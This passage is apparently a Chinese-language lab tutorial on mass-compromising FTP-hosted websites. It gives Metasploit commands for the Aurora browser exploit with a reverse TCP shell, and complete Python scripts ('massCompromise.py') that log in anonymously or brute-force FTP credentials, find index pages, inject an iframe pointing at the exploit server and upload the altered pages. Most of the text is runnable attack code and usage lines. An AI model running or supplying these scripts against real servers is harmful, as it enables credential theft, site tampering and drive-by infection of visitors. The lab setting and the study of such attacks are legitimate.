这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:
search ms10_002_aurora
use exploit/windows/browser/ms10_002_aurora
show payloads
set payload windows/shell/reverse_tcp
show options
set SRVHOST 10.10.10.160
set URIPATH /exploit
set LHOST 10.10.10.160
set LPORT 443
exploit
运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧:
过程清晰之后,就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可,整个代码如下:
#!/usr/bin/python #coding=utf-8 import ftplib def injectPage(ftp,page,redirect): f = open(page + '.tmp','w') #下载FTP文件 ftp.retrlines('RETR ' + page,f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page #上传目标文件 ftp.storlines('STOR ' + page,open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page host = '10.10.10.130' username = 'ftpuser' password = 'ftppassword' ftp = ftplib.FTP(host) ftp.login(username,password) redirect = '<iframe src="http://10.10.10.160:8080/exploit"></iframe>' injectPage(ftp,'index.html',redirect)
接下来的利用和本小节开头的一样,直接打开msf进行相应的监听即可。
【修改后的代码】来自:https://blog.csdn.net/SKI_12
#!/usr/bin/python #coding=utf-8 import ftplib def injectPage(ftp,page,redirect): f = open(page + '.tmp','w') #下载FTP文件 ftp.retrlines('RETR ' + page,f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page #上传目标文件 ftp.storlines('STOR ' + page,open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page print def main(): while True: host = raw_input('[*]Host >>> ') username = raw_input('[*]Username >>> ') password = raw_input('[*]Password >>> ') redirect = raw_input('[*]Redirect >>> ') print try: ftp = ftplib.FTP(host) ftp.login(username,password) injectPage(ftp,'index.html',redirect) except: print '[-] Logon failed.' if __name__ == '__main__': main()
整合全部的攻击
这里将上面几个小节的代码整合到一块,主要是添加了attack()函数,该函数首先用用户名和密码登陆FTP服务器,然后调用其他函数搜索默认网页并下载同时实现注入和上传,其实说白了这个函数就是将前面几个小节的函数整合起来调用。
#!/usr/bin/python #coding=utf-8 import ftplib import optparse import time def attack(username,password,tgtHost,redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username,password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp,defPage,redirect) def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous','[email protected]') print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception, e: print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.' return False def bruteLogin(hostname,passwdFile): pF = open(passwdFile,'r') for line in pF.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' + username + '/' + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password ftp.quit() return (username,password) except Exception, e: pass print '\n[-] Could not brubrute force FTP credentials.' return (None,None) def returnDefault(ftp): try: #nlst()方法获取目录下的文件 dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for filename in dirList: #lower()方法将文件名都转换为小写的形式 fn = filename.lower() if '.php' in fn or '.asp' in fn or '.htm' in fn: print '[+] Found default page: '+filename retList.append(filename) return retList def injectPage(ftp,page,redirect): f = open(page + '.tmp','w') #下载FTP文件 ftp.retrlines('RETR ' + page,f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page #上传目标文件 ftp.storlines('STOR ' + page,open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page def main(): parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>]') parser.add_option('-H',dest='hosts',type='string',help='specify target host') parser.add_option('-r',dest='redirect',type='string',help='specify redirect page') parser.add_option('-f',dest='file',type='string',help='specify userpass file') (options,args) = parser.parse_args() #返回hosts列表,若不加split()则只返回一个字符 hosts = str(options.hosts).split(',') redirect = options.redirect file = options.file #先不用判断用户口令文件名是否输入,因为会先进行匿名登录尝试 if hosts == None or redirect == None: print parser.usage exit(0) for host in hosts: username = None password = None if anonLogin(host) == True: username = 'anonymous' password = '[email protected]' print '[+] Using Anonymous Creds to attack' attack(username,password,host,redirect) elif file != None: (username,password) = bruteLogin(host,file) if password != None: print '[+] Using Cred: ' + username + '/' + password + ' to attack' attack(username,password,host,redirect) if __name__ == '__main__': main()
调用方式:masscompromise.py -H 192.168.1.1 -r '<iframe src="http://10.10.10.160:8080/exploit"></iframe>'
由于可以匿名登录所以可以直接进行注入攻击。
但是发现就是匿名登录进去的文件都只是属于匿名用户自己的而没有ftpuser即正常的FTP用户的文件,所以为了实现同时进行注入就稍微修改了一下代码:
#!/usr/bin/python #coding=utf-8 import ftplib import optparse import time def attack(username,password,tgtHost,redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username,password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp,defPage,redirect) def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous','[email protected]') print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception, e: print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.' return False def bruteLogin(hostname,passwdFile): pF = open(passwdFile,'r') for line in pF.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' + username + '/' + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password ftp.quit() return (username,password) except Exception, e: pass print '\n[-] Could not brubrute force FTP credentials.' return (None,None) def returnDefault(ftp): try: #nlst()方法获取目录下的文件 dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for filename in dirList: #lower()方法将文件名都转换为小写的形式 fn = filename.lower() if '.php' in fn or '.asp' in fn or '.htm' in fn: print '[+] Found default page: '+filename retList.append(filename) return retList def injectPage(ftp,page,redirect): f = open(page + '.tmp','w') #下载FTP文件 ftp.retrlines('RETR ' + page,f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page #上传目标文件 ftp.storlines('STOR ' + page,open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page def main(): parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>]') parser.add_option('-H',dest='hosts',type='string',help='specify target host') parser.add_option('-r',dest='redirect',type='string',help='specify redirect page') parser.add_option('-f',dest='file',type='string',help='specify userpass file') (options,args) = parser.parse_args() #返回hosts列表,若不加split()则只返回一个字符 hosts = str(options.hosts).split(',') redirect = options.redirect file = options.file #先不用判断用户口令文件名是否输入,因为先进行匿名登录尝试 if hosts == None or redirect == None: print parser.usage exit(0) for host in hosts: username = None password = None if anonLogin(host) == True: username = 'anonymous' password = '[email protected]' print '[+] Using Anonymous Creds to attack' attack(username,password,host,redirect) if file != None: (username,password) = bruteLogin(host,file) if password != None: print '[+] Using Cred: ' + username + '/' + password + ' to attack' attack(username,password,host,redirect) if __name__ == '__main__': main()
调用方式:masscompromise.py -H 192.168.1.1 -r '<iframe src="http://10.10.10.160:8080/exploit"></iframe>' -f ftpBL.txt
可以发现两个用户中发现的文件是不一样的。